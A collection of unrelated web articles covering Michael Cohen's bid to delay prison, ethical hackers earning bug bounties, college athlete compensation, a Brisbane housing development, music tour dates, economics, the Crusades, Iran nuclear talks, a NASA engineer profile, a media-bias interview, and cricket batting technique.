And yet Cohen somehow got three years, which despite Davis' argument might be related to his convictions for defrauding banks and hiding $4,134,051 from the IRS.
In any event, Cohen has now come up with a new scheme to avoid going to jail. In a letter to some House Democrats, Davis said that Cohen, who swore to tell the "whole truth" during congressional testimony on Feb. 26, 27, 28 and March 6, has now discovered more truth to tell. And Cohen will be happy to tell it to Congress if lawmakers can convince federal prosecutors in New York to "substantially postpone" his date to report to prison.
Davis told Democrats that "only recently" was Cohen "able to access" a computer hard drive which Davis said contains over 14 million files of "important documents." Davis did not explain how it was that Cohen only recently was able to access the drive, but it might have something to do with the drive being seized by law enforcement and used for prosecuting Cohen. Now that the prosecution is over, Cohen is, according to Davis, going through the files himself -- he has only been able to read 3,500 so far -- and he wants Congress to know what prosecutors have known for a long time. But he needs help.
"Mr. Cohen needs time, resources, and assistance to separate out privileged and personal documents from these 14 million files to make the rest available for review by various congressional committees that have sought his help in fulfilling their Article I oversight responsibilities," Davis wrote. "Mr. Cohen is prepared to do so — but it will take time, effort, and ready accessibility to members of Congress and their staffs to assist in providing the relevant documents."
And how could Cohen do that in jail? Better to let him remain free, phone in hand, ready to talk to Congress at a moment's notice — not for himself, but for Article I of the Constitution of the United States.
Davis drove the point home repeatedly: "Mr. Cohen needs to be readily accessible and immediately available to provide ongoing assistance to Congress in order for it to fulfill its executive branch oversight responsibilities," he wrote. The Cohen team hopes Democrats will help those prosecutors in New York "recognize the need for Mr. Cohen to be readily available to Congress."
Davis noted that he sent the letter only to Democratic lawmakers because Republicans don't seem interested in hearing more from Cohen. The true situation is even worse. Not only are Republicans uninterested in hearing more, they are actively working to make sure Cohen, who has already pleaded guilty to lying to Congress once, will be prosecuted for lying again during his testimony in February and March. Cohen is sure to be among the people House Republicans refer to the Justice Department for prosecution for false testimony in his latest appearances.
So Cohen's hopes, such as they are, lie with Hill Democrats. It seems farfetched to believe that prosecutors and a court would decide that Cohen should not go to prison for tax evasion and bank fraud so that he can stay close to House Democrats. But that's all Cohen has at the moment.
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The ethical hackers taking the bugs to the bank Published duration 27 May 2019
media caption WATCH: The teenage millionaire hacker
These days, when an unexpected email turns up offering lots of cash, most people just assume it is a scam and delete it.
But Mark Litchfield opened one such a message and it led him on a journey that, so far, has netted him about $1.5m (£1.15m) - all of it legitimate.
The email was from one-time web giant Yahoo, now owned by Verizon Media, and offered Mr Litchfield several thousand dollars as a reward for finding a bug in its website code.
The email was a surprise because he had pretty much forgotten about finding the bug.
"I submitted a bug to Yahoo and thought that was the end of it," he told BBC News. "And then I got this email saying, 'Hey, we've got some money for you. Do you want it?'"
image copyright Getty Images image caption Yahoo had millions wiped off its value because it fell victim to several hack attacks
"That's when I realised that there was money to be made in this."
Yahoo, like a growing number of large companies, pays up when people find loopholes in its web code that could be exploited by malicious hackers.
Through bitter experience, Yahoo has learned what happens when bugs are missed. In 2013 and 2014, it suffered two massive breaches. Data on more than one billion users went astray.
It stepped up its bug-hunting efforts in the wake of those breaches - which is where Mr Litchfield and others like him come in.
Those ethical hackers sign up with companies such as Hacker One, Bug Crowd, Synack and others who run the bug bounty programmes on behalf of companies.
And, according to Mr Litchfield, anyone can do it.
"I can't code - at all," he said. "Yet I've managed to be extremely successful, so literally anyone could do this."
Well, maybe.
image copyright Getty Images image caption Learning to spot bugs in working code can help hone computer skills
Mr Litchfield may not code but he has other technical skills. He turned to bug hunting after years of working in the security industry, where he became an expert on the protocols that govern how computers swap data.
Finding bugs in the way data is transported has netted him the bumper payouts.
Catching the bug
For anyone looking to blaze a similar million-dollar trail or even just start a career in cyber-security, knowing that Mr Litchfield has decades of experience to call on can be disheartening.
It was a feeling familiar to anyone looking to break into the security industry, said James Lyne, head of research at the Sans Institute.
The gap between the experts and the beginners could seem too vast to cross, he said.
For a long time, it had been only those lucky enough to discover a real affinity for cyber-security work, who persevered and would hunt for bugs even if they were not getting paid to do it, who found a place in the industry, he said.
That was Mr Lyne's experience and is one common among the pros, many of whom have an "origin" story of how they accidentally, or with the help of a mentor, made it.
"I was one of the people that lucked out and learned in the industry," he said.
There was a growing need for that haphazard selection process to change, said Mr Lyne, given the massive skill shortage in the cyber-security industry.
"You need to find a way for someone who does not know they love it to connect with it," he said.
Many governments, including the UK's, have set up educational schemes that try to give schoolchildren a taste of cyber-security to see if they like it.
Mr Lyne helped create the UK's scheme, Cyber Discovery, which in its first year had more than 25,000 school children take part.
image copyright Cyber-Discovery image caption The cartoonish appearance puts a friendlier face on tricky cyber-security skills
"It's a teaching tool and a sorting hat," said Mr Lyne.
The Cyber Discovery programme "gamifies" the day-to-day work of the pros.
It turns finding security loopholes, tracking hackers, analysing documents for clues and other basic skills into engaging games.
It also gets children familiar with the tools many cyber-pros use day-to-day.
Participants get points when they complete a section. And the top performers get to attend residential courses that help them hone their skills further.
Bug bounties, said Mr Lyne, were another way that keen amateurs could take their first steps into a cyber-career.
"It's an easier in to the industry and a way to prove your skills," he said.
Bigger bugs
Ian Glover, head of the Crest organisation, which certifies the skills of ethical security testers in the UK, is a supporter of bug bounties too - again as a way for people to get a glimpse of what it is like to defend networks and defeat bad guys for a living.
"The money side of it is not as much of a motivation as you might imagine," he told BBC News - while a few people made a lot of money, most did not.
"It's more about trying to solve the challenges, getting into the industry and getting recognition by your peers."
But anyone taking part in a bug bounty hunt should realise the job of a cyber-security worker demanded far more in terms of skill and expertise," Mr Glover said.
And companies should have a whole host of other well administered defences in place long before they think about letting bounty hunters have a sniff.
Alongside defences embedded in networks and threat-analysis teams should go exercises such as penetration tests that do a more in-depth job of ensuring a system is broadly proof against attack.
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Katelyn Ohashi was ice skating when her life changed.
As the UCLA gymnast tried to relax at a rink last January, her phone would not stop buzzing. One notification from Twitter turned into hundreds within minutes.
A video of her floor routine the previous night in Anaheim — a perfect 10 — had gone viral; she was trending on Twitter.
“I didn’t have my notifications on but I was getting all these notifications from verified accounts,” she recalled. “I didn’t know what was happening. When I got home, I refreshed my Twitter page and I had 50,000 new followers. It was crazy. I got screenshots from friends of celebrities tweeting about me and retweeting the video. That’s when it kicked in.”
It was a surreal moment for Ohashi, who performed to Janet Jackson’s “Rhythm Nation.” She cried when Jackson tweeted the video of her routine. That video now has more than 44 million views.
Ohashi was on top of the world, but couldn’t capitalize financially from her newfound fame.
“As soon as that happened my career was coming to an end,” Ohashi said. “I was about to graduate and retire.”
Ohashi was at the “espn W: Women + Sports Summit” in Newport Beach last week when the NCAA announced it would allow college athletes to “benefit from the use of their name, image and likeness.” (Though the details about how it would actually work still are being worked on.) She had already been championing the bill signed by California Gov. Gavin Newsom, which will permit college athletes in the state to get paid through endorsement and sponsorship deals, autograph signings and other similar opportunities.
Most of the focus on the new law and the NCAA’s response has been on football and men’s basketball, but Ohashi said it’s just as important for athletes in sports that do not have a professional league to go to after college.
“Many gymnasts peak when they’re 16 and they have to make a decision between going to the Olympics and taking money or going to the Olympics and refusing to take money or just going to college,” she said. “You’re literally 15 years old and making this life-changing decision.
“To close someone off from the opportunity to compete in college or to get compensated for being an Olympian is wrong. Look at [swimmer] Missy Franklin, who went to the Olympics and said she wasn’t going to take money because she wanted to compete in college. Her plan was to capitalize off her second Olympics, but what if she suffered a career-ending injury in college and was never able to compete again? This bill would allow her capitalize off the Olympics and compete in college. It doesn’t close off opportunities.”
Ohashi realized the predicament she was in shortly after her floor routine went viral and she was alone trying to sort through all the opportunities coming her way that likely would not be there for her in the future.
× UCLA gymnast Katelyn Ohashi’s viral floor routine.
“If this bill was in place, I could have had representation, which would have been big,” Ohashi said. “I’m in college and I’m going to school, gym, practice, competitions and I was trying to navigate around a new world blindly, which was difficult. I didn’t have someone helping me out and taking care of stuff I should have taken care of and prioritizing things I should have done. I was doing it all myself and I was super exhausted.
“A lot of people were reaching out to me at the time and I didn’t know what to do or even what I could do. Companies were reaching out to me and saying they want to jump on this opportunity now while I’m enjoying my 15 minutes of fame, and I had to ask them to reach back out in five months when I graduated. Those opportunities are gone by then.”
While high-profile college football and basketball players go on to the NFL, NBA and WNBA, Ohashi’s gymnastics career is over. She’s booking speaking engagements and writing poetry, but she can’t help but wonder what might have been if she was able to capitalize on her viral video in the immediate aftermath. She hopes the next athlete in her position won’t have to wonder.
“Those 15 minutes of fame are for real and you want to take advantage of that because it may never come again,” she said. “I wanted to put out my book of poetry when people were talking about me, but I couldn’t. I had to go through this whole labor process and I wouldn’t have been able to promote it or profit from it and I was able to graduate anyway so I waited, but it’s frustrating.
“No one should have to turn down opportunities they’ve earned.”
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Who Had The Toughest Road To The World Finals?
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Developers Payce Consolidated and Sekisui House have submitted a long awaited development proposal for one of Brisbane’s most premium development sites along Boundary Street in West End.
Formerly housing the Peters Ice Cream factory, West Village is a masterplanned urban community housing 1350 apartments, a 4500sqm supermarket, 500sqm of community facilities, a 450-space public car park, and parking for 1600 bicycles.
The mixed use $800 million precinct is broken up into three stages and includes seven residential buildings of varying heights:
Stage 1 – A code assessable development application over an area being greater than 10,000m2 for 2 multiple dwelling buildings being less than or equal to 15 storeys above a retail / commercial podium and basement car parking.
Stage 1A – An impact assessable development application within the Heritage Curtilage involving the adaptive retail / commercial reuse of the existing local heritage buildings, village green and retail pods.
Stage 2 – An impact assessable development application for 3 multiple dwelling buildings ranging from less than or equal to 15 storeys to no greater than 20 storeys above a retail / commercial podium which includes an individual tenancy of no greater than 4,500m2 gross floor area being for a super market tenancy, parking station and basement car parking.
Stage 3 – A code assessable development application for two (2) Multiple Dwelling buildings ranging from less than or equal to 19 storeys and no greater than 25 storeys above a Retail / Commercial podium and basement car parking.
According to the DA, the masterplan boasts the following design principals:
Our Big 5 Design Moves
Embodying the aspirations set by the community & committed to by the project team, these key moves aim to celebrate West Village as the centre of community life in West End.
1 Embrace Boundary St
Boundary St has long been the centre of life in West End.
Opening up the site & embracing Boundary St will create a seamless extension of the public realm allowing its High Street to expand into a lush, sub-tropical community heart at West Village.
2 Maximise Open Space
West Ender’s & Brisbane urbanites relish in their relaxed outdoor lifestyle.
Re-imagining the precinct as a cathedral in the round – with two striking heritage buildings surrounded by open public space. Places to sit, gather, relax and celebrate local events – in lush sub- tropical gardens with views to our big blue sky.
3 Celebrate Pedestrian Connections
Extending through the site with unique laneways, paths, squares & stairs
Understanding the character of West End & heritage fabric of the site, each of the 6 laneway connections is celebrated to create a series of unique experiences which connect West End.
4 Reinterpret The Site’s Existing Hill
Cascading public realm which appropriates the ridge line & natural fall across the precinct.
A precinct landscape that reinterprets the existing hill – framing views, reinstating green, providing a landscape of discovery. ‘The Steps’ becoming West End’s own Spanish Steps, a place to meet, sit, watch the world go by.
5 Benchmark Sub-Tropical Gardens
In an area with beloved parks & riverscapes, this is West End’s central urban garden.
With people and public space at the fore, West Village will provide West End with benchmark sub-tropical landscapes, a series of continuous green corridors through the precinct and a lush, garden setting for West End’s heart.
The masterplan seeks to create 9 new public spaces:
6 New Laneways
Factory Lane, Gun Shop Lane, Little Jane Lane, Mollison Lane, Peters Lane, Wilson Lane
With newly restored industrial edges, Factory lane picks up the industrial aesthetic and becomes WV’s chic, authentic working lane. Think Flinders Lane Melbourne – small bars, up & coming restaurants, gallery openings which spill onto the laneway at night. It’s flexible design allows for markets, festivals, temporary events- Factory Lane is the spine WV’s laneway events spill from.
2 Squares
The Common Peter’s Square:
Its vibrant open frontage embraces Boundary Street. Flanked with cafes, bars and the newly restored Ice Cream Factory, West End locals and Brisbane urbanites meander along shaded paths on their way to grab a coffee, buy fresh bread or just watch life pass by from the shade of one of West Villages beloved Fig Trees.
Rich with activity and texture and surrounded by terracing, Peters Square is the contained working heart of West Village. Flanked with retail and fresh produce, this is the market square fine-tuned to our climate and lifestyle. Shaded seating with views across the square and up the laneways are the perfect place to meet up with friends, or stop and have an ice cream.
The Steps
West End’s Spanish Steps
The Master Plan:
Public Realm Vision:
The DA number for this development is A004115562.
Images supplied by DA document.
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by YMCA » Wed Feb 09, 2011 6:36 pm
His Kimbo was mean...spot on and made him look like a gorilla.
Liddell was not too bad, but Royce was beautifully done.
Same with Wanderlei...crouch, style of punching.
No wonder he wears shades to the PC, he thinks he IS a movie star given his skill at imitating people.
Black Zeus wrote:
^^he has a long history of crying if things don't go his way. Doubt he can learn to keep his emotions in check at such a late age. What is he 37?
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Earlier this year, James Blake announced a tour behind his new album The Colour in Anything. Today, he’s revealed that Vince Staples and Moses Sumney will join him for select dates on the U.S. leg of the tour. Check out the upcoming dates below.
Staples released his new EP Prima Donna earlier this month. James Blake produced two songs on the record. Sumney recently announced a new self-released EP of his own. It’s called Lamentations, and it is out September 30. Check out the tracklist, cover art, and music video for lead single “Worth It” below.
Read our feature, “James Blake and the Pursuit of Happiness” and our Rising interview, “Moses Sumney: Lost and Found in L.A.” Check out “Vince Staples and the Accessibility of Black Experience” on the Pitch.
James Blake:
9-23 Dallas, TX - House of Blues *
9-24 Houston, TX - House of Blues *
9-25 Austin, TX - ACL Live at the Moody Theater *
9-27 New Orleans, LA - Orpheum Theatre *
9-28 Atlanta, GA - Tabernacle *
9-30 Philadelphia, PA - Electric Factory *
10-01 Washington, DC - Lincoln Theatre *
10-03 New York, NY - Radio City Music Hall *$
10-04 Boston, MA - House of Blues *
10-05 Montreal, Quebec - Metropolis *
10-07 Toronto, ON - Massey Hall *
10-08 Royal Oak, MI - Royal Oak Music Theatre *
10-09 Chicago, IL - Cadillac Palace Theater *
10-12 Seattle, WA - Moore Theatre *
10-13 Vancouver, British Columbia - Orpheum Theatre *
10-14 Portland, OR - Roseland Theater *
10-18 Santa Barbara, CA - Arlington Theatre !
10-20-21 Los Angeles, CA - Hollywood $
10-27 Dublin, Ireland - Olympia theatre
10-28 Belfast, Northern Ireland - Limelight 1
10-30 Bristol, England - O2 Academy Bristol
11-01 London, England - Eventim Apollo
11-02 Leeds, England - O2 Academy Leeds
11-03 Manchester, England - Manchester Academy
11-05 London, United Kingdom - O2 Academy Brixton
with Moses Sumney
$ with Vince Staples
! with Airhead
Correction: An earlier version of this story indicated that Sumney was opening the Santa Barbara show. It is actually Airhead.
Lamentations EP:
01 Ascension
02 Lonely World
03 Exit Bag
04 Worth It
05 Probably
06 Two Chants
Watch Vince Staples’ “Over/Under” on Pitchfork.tv:
Watch Moses Sumney perform “Plastic” at Pitchfork Music Festival 2016:
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Three authors from Newcastle, Australia, namely James Juniper, Timothy Sharpe and Martin Watts, have just published a paper asking why Post-Keynesians (PKs) do not integrate Modern Monetary Theory (MMT) into their school. They write:
In this paper we argue that the incorporation of MMT principles enhances the post-Keynesian framework, principally with respect to understanding the distinction between sovereign and non-sovereign economies and the role of the payments system. These have major consequences for the conduct of macroeconomic policy which has assumed increased importance since the advent of the crisis.
Having just taught a course using balance sheets to explain money and credit, I tend to agree with that statement. The methodological framework of MMT – discussing balance sheet (mechanics) – is sound and not trivial. It helps to provide the ‘microeconomic foundations’ to any macroeconomic approach.
A nice framework to write a textbook on international economics would be the following methodological structure:
discuss balance sheets of entities like central bank, banks, government, private sector (MMT) discuss national income and product accounts, flow of funds and balance of payments (identities) discuss macroeconomic models based on the sectoral – private, public and external sector – approach (PK/SFC)
I personally think that there should not be a dividing line between MMT and PK. They do not disagree over the major issues when it comes to the description of the economic system. Differing policy recommendations are not a reason for a split between the two. In a world with uncertainty, policy prescriptions will never coincide. The discussions between MMT and PK are fruitful, and I have learned a lot from both sides. So much so that I would find it incredibly hard to align myself to either camp. I like the balance sheet approach of MMT, SFC models and Minsky’s discussion of debt, but also the circuitist approach, the PK work on inequality and financialization and the compensation thesis.
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Is there a historical episode less understood by the general public and more urgently in need of clarification than the Crusades? To some on the right, the Crusades prefigured the modern wars that have been cast as “civilizational” clashes, such as the so-called war on terrorism. That stereotype relies upon a yet broader myth, an idea of the Crusades as religious wars waged by Europeans upon Muslims who had robbed the Holy Land, pitting white warriors against brown—then as now. The Crusades myth always contained a noxious seed—inspiration for white nationalism—that has flourished in recent years. The far right is in love with the Knights Templar (a military order of knights who protected pilgrims) and other Crusaders. The chivalric paraphernalia of the Crusades has been repurposed by Trump-supporting hate groups, while rightwing terrorists, from Anders Behring Breivik to the Christchurch shooter, have used their manifestos to bemoan Muslim “invasions” of white culture. The KKK’s newsletter is called The Crusader.
As the Oxford professor Christopher Tyerman observes in his new tome, The World of the Crusades, the idea that the Crusades were a battleground between distinct racial forces is a fantasy dreamed up by modern geopolitical interests. When President Trump, for example, visited Jerusalem in 2017 to recognize it as Israel’s capital, he fulfilled a key campaign promise made to his often fanatical-religious fan base, who saw the move as both scripturally and historically significant. There’s an influential (though delusional) cohort of evangelical Christians who believe that the rebuilding of the Third Temple is a sign of the oncoming apocalypse—an inherently anti-Semitic brand of conspiracy-theory eschatology that nevertheless behooves the interests of Israeli right-wingers and American neoconservatives alike.
Tyerman is far from the first to note these connections: Medieval history has officially become a newsworthy topic in the media, and various medieval specialists have been tapped to correct the historical record, for the record, in the prestige press. But many of them, Tyerman included, miss the internet’s role in this radicalization of history—including its undermining of the Western academy.
Last week The New York Times reported in detail on YouTube’s recommendation algorithm, which is “capable of drawing users deeper into the platform by figuring out ‘adjacent relationships’ between videos that a human would never identify.” The Crusades are a plum example of a topic that turns into a thread, leading the viewer through a labyrinth towards potential radicalization. You can search “Knights Templar” on YouTube and reach conspiracy theories (“Ten Secret Societies Ruling The World”) within three intuitive clicks.
Crusades-inflected propaganda has become virtually indistinguishable from alt-right memes on Reddit, 8chan, and elsewhere. On YouTube you can find frightening videos like “Deus Vult - The Crusaders In Iraq,” a 2016 video showing armed men in the town of Bartella, holding earth in their hands and proclaiming, “This is our sand!” “Deus Vult,” a Crusading motto meaning “God Wills It” (which historians are not sure anybody actually yelled on any battlefield), is also part of the lingua franca of the extreme online right.
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Seemingly out of nowhere, Ayatollah Ali Khamenei stated Thursday that Iran won’t sign off on any final nuclear agreement unless military sites are declared off limits to foreign inspectors.
Also added is the requirement that the United States will have to drop all economic sanctions against the beleaguered country on the day the agreement is signed, The New York Times reports. This marks the first time Khamenei has made any substantive public comments on the proposed framework which was introduced last week in Lausanne, Switzerland.
Khamanei was cautious about the prospects of negotiations but emphasized that Iran would not be taken in by “devilish” intentions stemming from the United States.
“I neither support nor oppose the deal. Everything is in the details, it may be that the deceptive other side wants to restrict us in the details,” Khamenei said, according to Reuters.
The State Department responded on Thursday, saying that it intends to gradually pull back sanctions “in a phased manner upon verification that Iran has met specific commitments.” Exactly what those requirements are will set the stage for the next phase of the discussion.
Jeff Rathke, the spokesman for the State Department, did not specifically address Khamanei’s remarks, but what’s unclear is how sanctions can be eased if inspection of military facilities is forbidden. So far, Secretary of State John Kerry has maintained that the inspection requirements will be quite involved, but it’s not yet known whether he intends for those requirements to extend to military facilities.
One of the military sites, Parchin, has not been mentioned in the international framework at all in distinct contrast to sites like Fordow and Natanz, which are widely discussed in the arrangement. It is widely suspected that Parchin would host Iran’s weaponization efforts, making it a key site for inspection.
Iran’s president, Hassan Rouhani, echoed the remarks of the supreme leader.
“We will not sign any agreement unless all economic sanctions are totally lifted on the first day of the implementation of the deal,” Rouhani said.
The final deadline is June 30, which gives some amount of time for Secretary of State John Kerry and his team to work out the thorny details of what one of the most invasive inspection regimes in history will look like.
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Mahjabin Haque Photo: Courtesy
In an exclusive interview with Dhaka Tribune's Reaz Ahmad, a Bangladeshi woman joining Nasa as a space system software engineer says ‘dreams do come true if you work hard and stay true to yourself’
She wanted to work for the National Aeronautics and Space Administration (Nasa) in the United States ever since she was a child. Fascinated by the stories about Nasa sending people to the moon, she wanted to be a part of that mission.
Mahjabin Haque, a young woman from Bangladesh, spent her second stint as a Nasa intern earlier this year, coinciding with the 50th anniversary of the Apollo 11 moon landing.
Come October, a computer science graduate from Wayne State University’s College of Engineering in Michigan, Mahjabin will join her dream job as a space system software engineer at Nasa’s Johnson Space Center in Houston, Texas.
For over 50 years, Nasa’s Lyndon B Johnson Space Center (JSC) has led the US and the world on a continuing adventure of space exploration, discovery and achievement.
Mahjabin’s joining JSC on October 7 marks a watershed as women from Bangladesh taking up Nasa job is few and far between.
Photo: Courtesy
In its early days, JSC had led the Gemini, Apollo, and Skylab project. Nasa’s largest research and development facility now serves as the home of mission control, leading International Space Station operations and missions, and numerous advanced exploration projects.
Her family’s winning a diversity visa (popularly known as DV lottery) back in 2009, brought Mahjabin, her banker father Syed Enamul Haque, her mother Ferdousi Chowdhury and only younger brother Syed Samiul Haque to the US from their hometown Sylhet in Bangladesh. Samiul currently works in the US Army.
Mahjabin, who currently lives in Michigan with her mother and brother, is now passing busy days packing to relocate herself to Texas on October 5 to join Nasa. But she still managed to give an interview to Dhaka Tribune via email.
Here is the excerpt:
When are you going to join Nasa, in what capacity and what role you’ll be playing there? Also tell us in brief what it takes to get a Nasa job.
I will join on October 7 as a space system software engineer at Nasa’s Johnson Space Center.
In order to work for Nasa, you have to be an all-rounder, you have to have leadership experiences and be involved in extracurricular activities. As for me, I was involved in many different organizations in my university. I was the president of the Bangladeshi Student Association (BSA), a dance choreographer for BSA’s cultural events,and also the vice-president of the Association for Computing Machinery's Council on Women in my university.
Nasa is more than just astronauts. At Nasa, we have everything, from scientists to engineers to IT specialists to human resources specialists to accountants to writers and many other kinds of people working together to break barriers to achieve the seemingly impossible.
You served at Nasa before as an intern. How did you get the internship and how many months was the work duration then? Also, how was the experience?
I applied online for the Nasa internship and got a call for a phone interview from their recruiter shortly after. I was selected as the top candidate among thousands of interns all over America after all the processing. I interned at Nasa twice.
First one was as a data analyst between January 2018 and May 2018, when I conducted data analysis of the Engineering Directorate's IT infrastructure and associated processes. During those four months, I was featured as Nasa’s JSC Intern of the Week. I also joined the Intern Student Council and was elected video committee chair. As chair, it was my duty to organize and produce a video encapsulating the Nasa internship experience. This project allowed me to take a closer look at the people behind Nasa, and I found myself inspired by their diverse backgrounds and expertise.
Photo: Courtesy
The second one was as a software engineer intern at Mission Control Center (MCC) between January 2019 and May 2019, where only employees with high-profile badges are admitted without an escort. My work directly supported the International Space Station, and I was responsible for software design, implementation, testing, maintenance and user support. MCC is the most important and highly secured building of Nasa, because this is the control room for all the rocket launches and important mission support. I was featured as the intern of the week too during the second internship.
Nasa experience is unbelievably incredible — I was surrounded by some of the brightest people in the country, working on some of the most unique projects in the world. I met people whose backgrounds range from aerospace engineering to physics to communications. At Nasa, you get a bit of everything.
Are there other Bangladeshi or scientists/technicians/officials of Bangladeshi-origin working at Nasa? Any idea what the number is?
I was the only Bangladeshi intern when I was doing my internships, but I did meet two Bangladeshis who are working at Nasa full time. I don’t really know them personally, but I did see them in few places at Nasa, and JSC is a huge place with high security and it has many buildings so it is hard to know everyone who works there.
Tell us something about your academic life, degrees you achieved and about all of your alma mater.
I recently graduated with a Computer Science degree from Wayne State University’s College of Engineering. I was involved in many organizations and I was also working part time at my university as a computer programmer while taking full time classes.
Photo: Courtesy
My mom played a huge role in turning me into the person I am today. She has always motivated me to go after my dreams without any fear. In her own words, “Ami chai amar meye akash chhobe, amar meye kono cheler cheye kom noy” (I want my daughter to touch the sky, my daughter is nothing less than any men).
Where did you spend your childhood? When did you leave Bangladesh for the US?
I was born in Bangladesh and came to America in 2009 with my parents. I used to live in Kazitula, Sylhet and my village is in Kodom Rasul, Golapganj. While I was there, I went to the Sylhet Khajanchibari International School and College in Sylhet.
You have any plans to visit Bangladesh anytime soon?
I am planning to visit Bangladesh soon, Insha’allah.
What are you aiming at in future?
My biggest dream was to work for Nasa ever since I was a kid, and now that I have achieved that goal, my only dream now is to keep doing what makes me the happiest.
What will be your advice for young Bangladeshi girls who dream of pursuing science education and frontier research as a career?
I would tell them to go after their dreams fearlessly. It’s okay to fail. I have failed many times, but that didn’t stop me from going after my dreams and working even harder. Dreams do come true if you work hard and stay true to yourself.
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MRC President Brent Bozell on Thursday called out CNN’s Jim Acosta, deriding the journalist as a clone of Nancy Pelosi. Bozell added that it’s “dishonest” to call such an activist a reporter. Appearing on FBN’s Varney and Co., he addressed Acosta’s fight with White House adviser Stephen Miller: “Close your eyes. What you were hearing was Schumer. You were hearing Nancy Pelosi speaking.”
Bozell exposed, “This guy, I think, is being dishonest by calling himself a reporter and then doing that.”
A transcript of the segment is below:
Varney and Co.
8/3/17
10:45am ET
[Clip of Stephen Miller fighting with Jim Acosta.]
STUART VARNEY: Well, to some degree it went down hill from there. Joining us is Brent Bozell, president of Media Research Center. Brent, I think that was pre-planned. I think Stephen Miller knew what he was doing, planned it in advance, went right after CNN. Am I wrong?
BRENT BOZELL: Oh, yeah. No, I agree. I agree. It was a slam dunk for Stephen Miller. No matter what you think of the issue. You know, what is even worse than this was, that after it was over, Jim Acosta went on one news program after another repeating this, while being interviewed as a news reporter. Rush Limbaugh is right. It is now been reversed. It is now the Democratic Party that is an appendage of the liberal media. I thought it was very interesting that while Jim Acosta was reporting this on the chyron at the bottom of CNN, it said, “New plan to slash legal immigration sparks fierce debate.” Who is doing the debating? The reporter for CNN.
VARNEY: Do you think though that Stephen Miller should have done that? I do think it was pre-planned. Should a White House spokesperson, whom so ever it is, just go right at, deliberately pre-plan to a reporter? That is not what you're supposed to do, is it?
BOZELL: Yes.
VARNEY: Really that’s what you are supposed to do?
BOZELL: Yeah, I think he should have done this because Jim Acosta was way, way out of bounds as a reporter. He got into a fight with this White House. Now, that is fine, close your eyes, close your eyes, what you were hearing was Schumer. You were hearing Nancy Pelosi speaking, and this guy I think is being dishonest by calling himself a reporter and then doing that. So, yeah. I like what Miller did.
VARNEY: We really have come to a total standoff between the White House and the press corps. I mean it is, it is a really hostile environment, isn't it?
BOZELL: Yeah. They despise each other. There’s no two-ways about it.
VARNEY: That’s true.
BOZELL: Each is out to get the other.
VARNEY: Never seen anything like it, ever, not even close. Never seen anything like it, have you?
BOZELL: No, no. I haven't seen anything like it, nor have I seen the level of dishonesty on the part of the press. Again, if you want to be a commentator, you want to be a debater, you want to be a liberal activist, fine. Go at it, but to call yourself a journalist. Than CNN says over and over again they're objective. They're not. Go to our site, NewsBusters.org. Look at that story. There is no human being who will say what Jim Acosta did was in any way objective.
VARNEY: Brent, one more for you. You're not happy with Senator Jeff Flake, his new book, the title is Conscience of a Conservative. Why are you not happy with Republican Jeff Flake?
BOZELL: Because I think, in my opinion, he is a fraud. He is as dishonest as can be on two levels. One, he appropriated a book that is the largest-selling polemic in history carrying Barry Goldwater's name. Everyone knows my father wrote it. He actually takes the very title. He even steals the artwork. I’m going to show you. Here is the original, Conscience of a Conservative. Here is Jeff Flake's book. There is no way that this man should have any right to take a name like that. Secondly, Jeff Flake is the exact problem that Republican conservatives have in Congress.
He has no right. Here is a man who voted for legal amnesty. He is gang of eight. He is a man who wanted the Garland nomination to go forward, which would have given far-left Supreme Court. He has voted for $1.6 trillion in additional debt. It goes on and on. He undermines Mike Lee and Ted Cruz in the 2013 Obama defund debate. I was there, and I saw it happen. He goes on and on and on. How — guess what, he is running for re-election. It is same game everybody is playing. You run as conservative, you govern as a liberal. But he has come out with a book stealing someone's title, and that is my opinion and I just showed it and then calling it his own, calling himself a conservative. In my opinion, that is intellectually dishonest. In my opinion, that is fraud. By the way, I challenge Jeff flake to a debate anywhere, at anytime, but I warn him, I will eviscerate him.
VARNEY: We got it all. We got it all on this program. Brent Bozell, you’re all right. Thanks for joining us.
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A man who apparently has a passionate love for nature's most perfect food crashed his car multiple times into a Connecticut gas station this week in order to get a single solitary banana and leisurely eat it. As anyone with an internet connection circa 2002 knows, a man's got to do what a man's got to do when it's peanut butter jelly time.
Police tell The Hartford Courant that the incident happened at the Citgo Gas Station in Newington around 1:45 a.m. Wednesday when the store was closed. They say the suspect repeatedly rammed his station wagon into the building, breaking through the glass. Then the driver got out, took a banana off a shelf, peeled it and ate it. "He didn't appear to be in any rush," said Sgt. Christopher J. Perry.
No other items were stolen from the store during the break-in. Police are still searching for the banana bandit. Below, you can see an exclusive video of the suspect in action:
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He said working on technique is for preseason and once he started playing, all that mattered was watching the ball.
That, I’ve discovered, is a very traditional response, handed down from father to son.
I had to stop myself from groaning out loud. “How short-sighted” I wanted to reply. I’m sure he’s not alone and these days, coaches are reluctant to challenge technical issues in young players, preferring the students to figure it out themselves. Perhaps they fear intervention will only create more problems.
NO PRE-SEASON?
What if a player never has a pre-season as, like me, he plays continuously on both sides of the world, where the seasons overlap?
Just once did I have a pre-season in Australia – and that I remember mostly for the agony of running the sand-hills at City Beach in Perth, rather than any working on technique.
Instead I was chasing an endless summer by playing 12 months of the year in England as well as home. “What is a pre-season?” was my standard jibe at teammates.
That meant technical experimentation had to be done on the job – so the standard answer to not work on your game for six months of the year seems like a waste of time and opportunity to me.
Often as a young batsman, you’ll have days when you pick up a bat and it feels like it is a natural extension of your body and other days when it feels like you’re hefting around a railway sleeper.
DAYS WHEN THINGS WEREN’T WORKING
Numerous days in grade cricket and even opening the batting for Western Australia, my swing would feel so awkward I would be trying to adjust almost every ball. I might try picking the bat up higher in my swing, other times move my hands forward in my stance and even change the width of my stance. These were just a very few of many.
In fact what would really confuse me is, somehow I’d last until the lunch break feeling like I couldn’t hit one off the square and then come out after a 40 minute sit down and feel like I was Brian Lara … well not quite but you get the drift.
What it taught me though was to keep trying to get better. I would often think to myself, and now sprout this to every kid possible, one step back to go two steps forward. Working with my dad who was my coach, I’d try all sorts of technical changes and usually, after a while, something would click and it would all fall into place. It would be like hitting at a brick wall and then all of a sudden one thing works and the rest fall over like dominoes.
PROBLEM SOLVING – DON’T GET OUT THE SAME WAY
One of the great advantages of playing in four innings matches is the chance to problem solve as a batsman between the first and second innings. I disliked … no, I hated getting out the same way or to the same bowler in the second innings as I did in the first.
After getting out I would sit down and figure out a way to combat the bowler who dismissed me first time around. It might not have just been a mental change but quite possibly a technical one.
